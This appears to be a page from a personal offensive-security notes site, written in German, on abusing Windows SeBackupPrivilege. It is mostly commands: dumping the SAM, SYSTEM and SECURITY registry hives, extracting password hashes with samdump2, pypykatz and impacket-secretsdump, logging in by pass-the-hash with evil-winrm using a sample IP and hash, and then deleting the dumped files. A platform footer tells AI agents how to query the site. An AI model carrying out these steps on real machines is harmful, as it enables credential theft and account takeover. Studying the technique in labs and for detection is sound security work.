> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md).

# SeBackupPrivilege

`SeBackupPrivilege` ermöglicht das Lesen geschützter Dateien im Kontext einer Sicherung. In einem Labor kann dieses Privileg verwendet werden, um `SAM` und `SYSTEM`und dann lokale Kontohashes offline extrahieren.

## Erkennung

```powershell
whoami /priv
```

<figure><img src="/files/0ac2a7957fbfd384fd88ae3e1e8593c2a3a93483" alt="SeBackupPrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## Lade die Module

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege>" %}

```powershell
SeBackupPrivilegeCmdLets.dll hochladen
SeBackupPrivilegeUtils.dll hochladen
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/6a108510b1fe6d76359e06628a630f17d49b86dd" alt="SeBackupPrivilege modules loaded"><figcaption></figcaption></figure>

## SAM und SYSTEM exportieren

```cmd
reg save HKLM\\SAM sam
reg save HKLM\\SYSTEM system
```

<figure><img src="/files/f27c605b73d9f38ebf1517cf58ea58f5671348e6" alt="Exporting SAM and SYSTEM registry hives"><figcaption></figcaption></figure>

Lade die Dateien herunter:

```powershell
sam herunterladen
system herunterladen
```

<figure><img src="/files/e186c4cbeca1b7cefba93261a950aba617707a89" alt="Downloading exported registry hives"><figcaption></figcaption></figure>

## Hashes extrahieren

```bash
samdump2 system sam
```

<figure><img src="/files/5b30148616d0481131af92a57c82c83314742cea" alt="Hash extraction with samdump2"><figcaption></figcaption></figure>

Alternative:

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/22ec494ee7a3a7f7a7b945d5834ef2a81823d909" alt="Hash extraction with pypykatz"><figcaption></figcaption></figure>

## Mit Pass-the-Hash validieren

```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/47e23222d51b377e5a994cccf841746293377c54" alt="Pass-the-Hash validation with Evil-WinRM"><figcaption></figcaption></figure>

## Wichtige Punkte

* `SeBackupPrivilege` ist auch ohne direkte Mitgliedschaft in der lokalen Administratorgruppe sensibel.
* Export `SECURITY` auch dann, wenn du LSA-Geheimnisse oder zwischengespeichertes Domänenmaterial möchtest.
* Überwache Exporte von Registrierungs-Hives und den Zugriff auf geschützte Systemdateien.

## Impacket-Extraktion

Impacket kann die gespeicherten Hives offline auslesen:

```cmd
reg save HKLM\\SAM C:\\Windows\\Temp\\sam.save
reg save HKLM\\SYSTEM C:\\Windows\\Temp\\system.save
reg save HKLM\\SECURITY C:\\Windows\\Temp\\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## Bereinigung

```cmd
del C:\\Windows\\Temp\\sam.save
del C:\\Windows\\Temp\\system.save
del C:\\Windows\\Temp\\security.save
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
